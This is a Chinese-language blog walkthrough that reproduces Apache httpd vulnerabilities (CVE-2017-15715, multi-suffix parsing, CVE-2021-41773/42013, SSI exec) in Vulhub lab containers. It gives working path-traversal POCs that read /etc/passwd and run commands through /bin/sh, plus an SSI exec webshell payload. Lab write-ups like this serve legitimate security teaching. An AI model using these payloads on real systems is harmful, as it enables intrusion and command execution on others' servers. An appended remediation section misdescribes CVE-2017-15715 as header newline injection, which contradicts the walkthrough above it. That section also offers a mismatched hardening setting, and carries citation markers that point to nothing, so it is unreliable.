中间件安全—Apache常见漏洞

1.Apache常见漏洞

1.1.Apache介绍

  简单介绍一下apache是什么,Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将python等解释器编译到服务器中。

1.2.Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1.2.1.漏洞介绍

  Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

1.2.2.漏洞环境

  这里采用Vulhub一键搭建漏洞测试靶场,来进行漏洞复现。

1.2.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

在这里插入图片描述

1.2.2.2.访问漏洞环境
http://your-ip:8080

在这里插入图片描述

1.2.3.漏洞复现

1.2.3.1.拦截

  正常上传php文件就会出现上传失败。
在这里插入图片描述

1.2.3.2.添加换行

  在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截,这里只需要选中0d,右击选择insert byte…后,输入0a即可插入至里面,然后发送。
在这里插入图片描述

1.2.3.3.访问文件

  这里访问地址即可。

链接:http:ip地址:端口/文件名.php%0a

在这里插入图片描述

1.3.Apache多后缀解析漏洞(apache_parsing_vulnerability)

1.3.1.漏洞介绍

  apache httpd支持一个文件多个后缀,windows对于多后缀的识别是看最后一个“.”之后的后缀名。apache对于多后缀文件的识别是从后往前识别,最后一个后缀不能被识别时,会往前识别。

1.3.2.漏洞环境

1.3.2.1.运行漏洞环境
docker-compose up -d

在这里插入图片描述

1.3.2.2.访问漏洞环境
http://your-ip

在这里插入图片描述

1.3.3.漏洞复现

1.3.3.1.拦截

  由于设置了白名单,正常在上传php后缀文件后,会被拦截,无法正常进行上传。
在这里插入图片描述

1.3.3.2.添加后缀

  由于特性原因,我们可以在后面添加不认识的后缀,或者其它后缀均可。这里我添加.jpg,形成1.php.jpg文件。
在这里插入图片描述

1.3.3.3.访问文件

  通过返回的信息得到,我们是成功上传了我们的文件,并返回一个路径,我们在浏览器中访问一下文件,验证一下是否正常执行为php文件。

http://IP地址/uploadfiles/1.php.jpg

在这里插入图片描述

1.4.Apache HTTP 路径穿越漏洞(CVE-2021-41773)

1.4.1.漏洞介绍

  在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
  版本等于2.4.49
  穿越的目录允许被访问(默认情况下是不允许的)
  攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

1.4.2.漏洞环境

1.4.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

在这里插入图片描述

1.4.2.2.访问漏洞环境
在这里插入代码片

http://your-ip:8080
在这里插入图片描述

1.4.3.漏洞复现

1.4.3.1.抓包

  首先这里先抓原始的包。
在这里插入图片描述

1.4.3.2.读取任意文件

  在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。

POC:/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

1.4.3.3.执行任意命令

  在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令。

POC:/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh   最下面添加echo;id

在这里插入图片描述

1.5.Apache HTTP 路径穿越漏洞(CVE-2021-42013)

1.5.1.漏洞介绍

  Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
  攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
  这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

1.5.2.漏洞环境

1.5.2.1.运行漏洞环境
docker-compose build
docker-compose up -d

在这里插入图片描述

1.5.2.2.访问漏洞环境
http://your-ip:8080

在这里插入图片描述

1.5.3.漏洞复现

  这里总体来说和CVE-2021-41773步骤都是一样的,只是将.%2e替换为.%%32%65,若使用原先的payload无法使用,那么就说明2.4.50进行了修复。

1.5.3.1.抓包

  首先这里先抓原始的包。
在这里插入图片描述

1.5.3.2.读取任意文件

  在GET处插入POC,用来读取任意文件,但是需要注意/icons必须是一个存在且可访问的目录。

POC:/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

在这里插入图片描述

1.6.Apache SSI 远程命令执行漏洞

1.6.1.漏洞介绍

  在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

1.6.2.漏洞环境

1.6.2.1.运行漏洞环境
docker-compose up -d

在这里插入图片描述

1.6.2.2.访问漏洞环境
http://your-ip:8080

在这里插入图片描述

1.6.3.漏洞复现

1.6.3.1.编辑文件

  正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件,然后在文件中写入命令。

命令:<!--#exec cmd="ls" -->
1.6.3.2.上传文件

  这里我们将文件进行上传,可以看到是成功上传了。
在这里插入图片描述

1.6.3.3.访问文件

  可以看到成功显示目录下存在的文件。
在这里插入图片描述

### 关于Apache安全漏洞详情及修复方法 #### Apache HTTPD 换行解析漏洞(CVE-2017-15715) 此漏洞存在于HTTP协议处理过程中,当客户端发送带有特殊字符的数据包给服务器时,可能会导致请求行被错误解释。具体来说,在某些配置下,恶意构造的HTTP头中的换行符可能使服务器误解为新的请求头部开始,从而引发潜在的安全风险[^1]。 对于此类问题,官方已经发布补丁更新版本来修正这个问题;用户应当及时升级至最新稳定版以获得保护措施。另外,可以通过调整httpd.conf文件内的设置项`LimitRequestFields`、`LimitRequestFieldSize`以及启用严格模式(`StrictTransportSecurity`)等方式增强安全性。 #### Apache Tomcat 各类已知漏洞概述及其应对策略 ##### 一、Tomcat弱认证机制远程代码执行可能性 针对Tomcat7中存在的管理界面默认账户未更改或者强度不足的情况,攻击者能够轻易获取管理员权限并部署恶意程序如jsp木马等实现GetShell操作。为了防止这种情况发生: - 修改默认用户名密码组合; - 实施强口令政策; - 禁用不必要的功能模块和服务接口; - 对上传下载行为实施严格的白名单控制[^2]。 ##### 二、AJP协议下的文件读取/包含缺陷(CVE-2020-1938) 如果应用程序依赖于AJP连接器,则需注意其存在的安全隐患——未经身份验证即能触发任意文件泄露或包含动作。解决办法包括但不限于: - 升级到受支持的新发行版; - 断开对外部网络开放的AJP监听端口; - 使用防火墙规则限制仅内部可信IP地址访问该服务; - 替换成更安全可靠的通信方式比如HTTPS直连前端代理。 ##### 三、PUT方法造成的文件覆盖危险 允许客户机通过HTTP PUT指令向服务器提交资源可能导致敏感数据丢失甚至整个站点被篡改的风险。对此应采取如下预防手段: - 明确拒绝除GET/POST以外的一切非标准动词请求; - 设置恰当的身份验证流程确保只有授权人员才具备修改权; - 配置`.htaccess`或其他相应位置声明禁止特定目录接受外部输入; - 应用Web应用防护系统(WAF)监控异常流量特征。 #### Apache HTTP Server 路径遍历漏洞分析 在Apache HTTP Server 2.4.49中发现了一个严重的路径穿越漏洞,它使得未经授权的第三方有可能绕过正常的访问控制逻辑进而接触到不应该公开的信息资产。特别是在启用了mod_cgid组件的情形之下,还存在着远程命令注入的可能性(RCE)[^3]。 要彻底消除上述隐患,除了尽快迁移到修补后的软件迭代外,还可以考虑禁用不必要使用的CGI脚本处理器,并且仔细审查现有的URL映射关系以防意外暴露重要资料的位置。 #### Linux平台上的自动化修复方案简介 考虑到手动逐条排查和优化配置较为繁琐耗时,一些专门设计用于Linux环境下的工具可以帮助快速定位并解决问题。例如,利用apxs编译安装自定义模块可以加强现有web server的功能特性,像这样的一行命令就能完成对headers_module的支持加载: ```bash /usr/local/apache2/bin/apxs -i -a -c -n headers mod_headers.c ``` 当然这只是其中一个例子而已,实际环境中还需要综合考量多方面因素做出最合适的选择[^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒鱼头没剁椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值